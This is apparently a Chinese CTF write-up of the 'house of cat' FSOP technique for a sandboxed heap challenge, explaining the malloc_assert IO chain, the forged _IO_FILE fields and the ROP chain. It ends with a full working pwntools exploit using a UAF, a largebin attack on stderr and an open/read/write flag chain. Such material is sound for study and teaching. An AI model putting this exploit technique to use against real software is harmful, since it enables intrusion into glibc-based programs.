该死的猫猫!!!本来一开始想拿apple2去打,不想学cat了,于是自信的套了一通板子之后却怎么也出不了。究其原因是因为这个题是个白名单,并且没有exit,这就导致只能通过malloc_assert去触发FSOP,然而走malloc_assert和exit这两个函数的IO调用链有些区别,虽然两者都要利用largebin attack去修改一个值,但前者修改的是_IO_list_all的值,后者修改的是stderr的值,后续的函数执行也有区别。在malloc_assert的时候会先触发__fxprintf函数,这个函数在stderr被修改之后会无法绕过一些检查,导致syscall到一些黑名单上的函数,从而导致这个题没法用apple2打,所以被迫无奈学习了一下cat的打法,但是由于内心十分的烦躁,没有深究源代码,今天在这里只说打法,要伪造的数据的注意事项,详细原理不做深究。
exit和malloc_assert的不同
| 对比内容 | exit(apple2为例) | malloc_assert(cat为例) |
| 修改内容 | _IO_list_all | stderr |
| 函数调用链 | exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp->_IO_list_all->_IO_wflie_jumps->_IO_wfile_overflow->_IO_wfile_overflow+0x68 | __malloc_assert -> __fxprintf() -> __vfxprintf() -> locked_vfxprintf() -> _IO_wfile_jumps -> _IO_wfile_seekoff -> _IO_switch_to_wget_mode() -> _IO_WOVERFLOW |
| 触发条件 | 显示的调用exit函数 | 1.topchunk的大小小于MINSIZE(0X20) 2.prev inuse位为0 3.old_top页未对齐 满足其中任意一个即可(都是针对topchunk)(该检查触发的前提是topchunk的大小小于待分配的大小) |
| 备注 | 这条链需要找到magic gadget(详见主页houseofapple详解),我之前遇到过一个题没有这个magic gadget,需要另找别的gadget组合攻击,在高版本的堆题这段magic gadget已经被删掉了 | 不需要找magic gadget,但是触发条件较为苛刻,至少要存在UAF或者off by null/one等手段来修改top chunk(看到网上还有人拿largebin attack修改topchunk……hmm…也不是不行,多此一举了属于是) |
题目分析
题目前面有一大坨又臭又长的逆向,当时逆了半天没逆明白,遂放弃,最终得到的结论就是要先输入“LOGIN | r00t QWB QWXFadmin\x00”登录题目,之后每次想要调用堆块函数,都需要输入“CAT | r00t QWB QWXF\xFF$”(出题人纯纯闲得蛋疼)
最终对应的代码如下
def add(index, size, content):
p.procedure.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$') # enter the menu
p.procedure.sendlineafter(b'plz input your cat choice:\n', b'1')
p.procedure.sendlineafter(b'plz input your cat idx:\n', str(index).encode())
p.procedure.sendlineafter(b'plz input your cat size:\n', str(size).encode())
p.procedure.sendafter(b'plz input your content:\n', content)
def delete(index):
p.procedure.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$') # enter the menu
p.procedure.sendlineafter(b'plz input your cat choice:\n', b'2')
p.procedure.sendlineafter(b'plz input your cat idx:\n', str(index).encode())
def show(index):
p.procedure.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$') # enter the menu
p.procedure.sendlineafter(b'plz input your cat choice:\n', b'3')
p.procedure.sendlineafter(b'plz input your cat idx:\n', str(index).encode())
def edit(index, content):
p.procedure.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$') # enter the menu
p.procedure.sendlineafter(b'plz input your cat choice:\n', b'4')
p.procedure.sendlineafter(b'plz input your cat idx:\n', str(index).encode())
p.procedure.sendlineafter(b'plz input your content:\n', content)
p.sla(b'mew mew mew~~~~~~', b'LOGIN | r00t QWB QWXFadmin\x00')
增

删

指针表不清零,存在uaf
改

改的字节大小固定,后期就是利用这个点构造了一点点堆风水修改的topchunk
查

用write查的,而且大小固定,所以查一次就都出来了
沙箱

是个白名单沙箱,也是万恶之源!!!否则完全可以打apple2,这里有个有趣的地方就是read限制了fd必须是0,所以要先close(0)一下,然后再open
利用malloc_assert打FSOP需要注意的点和绕过的保护
首先要明确,这条链不像exit那条一样需要先伪造一个“正常”调用_IO_file_jumps的f1(因为size位固定了,没法利用magic gadget,除非能任意改size位),只需要伪造一个)_IO_file_plus就可以了
要伪造的内容如下
1.fp->_mode(0xc0的位置,只占4字节) <= 0 && fp->_IO_write_ptr(0x28) > fp->_IO_write_base(0x20)这里让mode=0即可(但经过我的测试,不伪造也没啥问题,保险起见还是伪造一下吧)
2.fp->vtable(0xd8的位置) = libc.symbols[‘_IO_wfile_jumps’] + libcbase+0x10
3.设置fp->wide_data(0xa0)指向一个可控地址A
4.fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base,即A->_IO_write_ptr(0x20) > A->_IO_write_base(0x18),这里我们直接将A->_IO_write_ptr设置成rdx的地址,即orwpayload的起始地址,原因稍后解释
5.A+0xe0的位置设置成rdx+8
原因分析
成功调用到_IO_switch_to_wget_mode函数时,我们从汇编去分析
0x7f4cae745d30 <_IO_switch_to_wget_mode> endbr64
0x7f4cae745d34 <_IO_switch_to_wget_mode+4> mov rax, qword ptr [rdi + 0xa0]
0x7f4cae745d3b <_IO_switch_to_wget_mode+11> push rbx
0x7f4cae745d3c <_IO_switch_to_wget_mode+12> mov rbx, rdi
0x7f4cae745d3f <_IO_switch_to_wget_mode+15> mov rdx, qword ptr [rax + 0x20]
0x7f4cae745d43 <_IO_switch_to_wget_mode+19> cmp rdx, qword ptr [rax + 0x18]
0x7f4cae745d47 <_IO_switch_to_wget_mode+23> jbe _IO_switch_to_wget_mode+56 <_IO_switch_to_wget_mode+56>
0x7f4cae745d49 <_IO_switch_to_wget_mode+25> mov rax, qword ptr [rax + 0xe0]
0x7f4cae745d50 <_IO_switch_to_wget_mode+32> mov esi, 0xffffffff
0x7f4cae745d55 <_IO_switch_to_wget_mode+37> call qword ptr [rax + 0x18]

结合图我们来分析
首先mov rax, qword ptr [rdi + 0xa0]把 [rdi + 0xa0]也就是wide_data赋值给rax,此段payload我在wide_data处填写的值为payloadbase(stderr指向的位置)+0xd0,接着rdx, qword ptr [rax + 0x20]把payloadbase+0xf0的位置赋值给rdx,也就是后续orwpayload的位置,然后mov rax, qword ptr [rax + 0xe0]把payloadbase+0x1b0对应的值赋给rax,在这里我让其等于rdx+8,最后一句call qword ptr [rax + 0x18],也就是call [rdx+0x20],而我的orwpayload在这个位置填的刚好就是setcontext+61,由此实现了orw的调用
这道题由于沙箱的限制,orw的时候fd必须是0,所以要先close(0),在open(flag),让打开的flag文件的fd为0才行,故orwpayload和平常的有些许区别

具体构造比较ez,不多赘述了
最后构造的payload如下
iofilejump=libcbase+libc.symbols['_IO_file_jumps']
iowfilejump=libcbase+libc.symbols['_IO_wfile_jumps']
rop=ROP(libc)
pop_r12 = rop.find_gadget(['pop r12', 'ret']).address + libcbase
pop_rsi = rop.find_gadget(['pop rsi', 'ret']).address + libcbase
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address + libcbase
pop_rax = rop.find_gadget(['pop rax', 'ret']).address + libcbase
pop_r12_r13 = rop.find_gadget(['pop r12', 'pop r13', 'ret']).address + libcbase
pop_rax_rdx_rbx = rop.find_gadget(['pop rax', 'pop rdx', 'pop rbx', 'ret']).address + libcbase
pop_rdi_rbp=0x000000000002a745+libcbase
syscall = rop.find_gadget(['syscall', 'ret']).address + libcbase
setcontextaddr = libc.symbols['setcontext'] + 61 + libcbase
magic_gadget=libcbase+0x00000000001675b1
payloadposition=heapbase+0x290
rsp=payloadposition+0x208
flagaddr=payloadposition+0x120
payload = p64(0) + p64(3)
payload += p64(syscall) + p64(pop_r12)
payload += p64(setcontextaddr) + p64(pop_rdi)
payload += p64(flagaddr) + p64(pop_rax)
payload += p64(2) + p64(syscall)
payload += p64(pop_rsi) + p64(flagaddr)
payload += p64(pop_rdi_rbp) + p64(0)
payload += p64(4) + p64(pop_rax_rdx_rbx)
payload += p64(0) + p64(300)
payload += p64(0) + p64(pop_r12_r13)
payload += p64(rsp) + p64(pop_rax)
payload += p64(syscall) + p64(pop_rdi)
payload += p64(1) + p64(pop_rax)
payload += p64(1) +p64(syscall)
f2=IO_FILE_plus_struct()
f2._IO_read_ptr = payloadposition+0x200
# f2._IO_write_ptr = 1
# f2._flags2 = 8
# f2._mode = 1
f2._lock= payloadposition
f2._wide_data = payloadposition + 0xd0
f2.vtable = libc.symbols['_IO_wfile_jumps'] + libcbase+0x10
data = flat({
0x0: bytes(f2)[16:],#payloadposition
0xd0:[0,0],
0xe0:payloadposition+0x200,
0xf0: {
0:[0,0,0,0],
0x20:b'flag\0',
0xb0: payloadposition+0x208,
},
0x1f0: payload
})
板子应该也是一套比较固定且万能的板子,个人感觉学完之后好像比apple2好用唉
完整payload
from pwncli import *
from pwnplus import *
context.arch = 'amd64'
context.log_level = 'debug'
p=mypwn('./pwn')
libc=ELF('./libc.so.6')
def add(index, size, content):
p.procedure.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$') # enter the menu
p.procedure.sendlineafter(b'plz input your cat choice:\n', b'1')
p.procedure.sendlineafter(b'plz input your cat idx:\n', str(index).encode())
p.procedure.sendlineafter(b'plz input your cat size:\n', str(size).encode())
p.procedure.sendafter(b'plz input your content:\n', content)
def delete(index):
p.procedure.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$') # enter the menu
p.procedure.sendlineafter(b'plz input your cat choice:\n', b'2')
p.procedure.sendlineafter(b'plz input your cat idx:\n', str(index).encode())
def show(index):
p.procedure.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$') # enter the menu
p.procedure.sendlineafter(b'plz input your cat choice:\n', b'3')
p.procedure.sendlineafter(b'plz input your cat idx:\n', str(index).encode())
def edit(index, content):
p.procedure.sendlineafter(b'mew mew mew~~~~~~', b'CAT | r00t QWB QWXF\xFF$') # enter the menu
p.procedure.sendlineafter(b'plz input your cat choice:\n', b'4')
p.procedure.sendlineafter(b'plz input your cat idx:\n', str(index).encode())
p.procedure.sendlineafter(b'plz input your content:\n', content)
p.sla(b'mew mew mew~~~~~~', b'LOGIN | r00t QWB QWXFadmin\x00')
add(10,0x440,b"0000")
add(11,0x430,b"1111")
add(12,0x430,b"2222")
add(13,0x430,b"3333")
#------------leak and largebin attack--------------
delete(10)
delete(12)
show(10)
p.rcvu(b'Context:\n')
libcbase=p.uu64()-0x219ce0
p.rcv(2)
heapbase=p.uu64()-0xb20
print('heapbase:',hex(heapbase))
print('libcbase:',hex(libcbase))
delete(11)
delete(13)
#--------------finish leak---------------
#--------------prepare the data------------------
iofilejump=libcbase+libc.symbols['_IO_file_jumps']
iowfilejump=libcbase+libc.symbols['_IO_wfile_jumps']
rop=ROP(libc)
pop_r12 = rop.find_gadget(['pop r12', 'ret']).address + libcbase
pop_rsi = rop.find_gadget(['pop rsi', 'ret']).address + libcbase
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address + libcbase
pop_rax = rop.find_gadget(['pop rax', 'ret']).address + libcbase
pop_r12_r13 = rop.find_gadget(['pop r12', 'pop r13', 'ret']).address + libcbase
pop_rax_rdx_rbx = rop.find_gadget(['pop rax', 'pop rdx', 'pop rbx', 'ret']).address + libcbase
pop_rdi_rbp=0x000000000002a745+libcbase
syscall = rop.find_gadget(['syscall', 'ret']).address + libcbase
setcontextaddr = libc.symbols['setcontext'] + 61 + libcbase
magic_gadget=libcbase+0x00000000001675b1
payloadposition=heapbase+0x290
rsp=payloadposition+0x208
flagaddr=payloadposition+0x120
payload = p64(0) + p64(3)
payload += p64(syscall) + p64(pop_r12)
payload += p64(setcontextaddr) + p64(pop_rdi)
payload += p64(flagaddr) + p64(pop_rax)
payload += p64(2) + p64(syscall)
payload += p64(pop_rsi) + p64(flagaddr)
payload += p64(pop_rdi_rbp) + p64(0)
payload += p64(4) + p64(pop_rax_rdx_rbx)
payload += p64(0) + p64(300)
payload += p64(0) + p64(pop_r12_r13)
payload += p64(rsp) + p64(pop_rax)
payload += p64(syscall) + p64(pop_rdi)
payload += p64(1) + p64(pop_rax)
payload += p64(1) +p64(syscall)
f2=IO_FILE_plus_struct()
f2._IO_read_ptr = payloadposition+0x200
# f2._IO_write_ptr = 1
# f2._flags2 = 8
# f2._mode = 1
f2._lock= payloadposition
f2._wide_data = payloadposition + 0xd0
f2.vtable = libc.symbols['_IO_wfile_jumps'] + libcbase+0x10
data = flat({
0x0: bytes(f2)[16:],#payloadposition
0xd0:[0,0],
0xe0:payloadposition+0x200,
0xf0: {
0:[0,0,0,0],
0x20:b'flag\0',
0xb0: payloadposition+0x208,
},
0x1f0: payload
})
#--------------------------------------------------
add(0,0x440,data)
add(1,0x430,b"1111")
add(2,0x430,b"2222")
add(3,0x430,b"3333")
delete(0)
add(4,0x450,b"4444")
delete(2)
io_list_all=libcbase+libc.symbols['_IO_list_all']
edit(0,p64(libcbase+0x21a0e0)*2+p64(heapbase+0x290)+p64(libcbase+libc.symbols['stderr']-0x20))
add(5,0x450,b'5555'*10)
#------------finish largebin attack--------------
add(6,0x430,data)#回填堆块2
delete(4)
delete(5)
add(7,0x460,b'7777')
edit(5,p64(0)*4)
print("malloc_assert:",hex(libcbase+0xA0EF0))
# p.debug()
add(8,0x460,b'7777')
p.ia()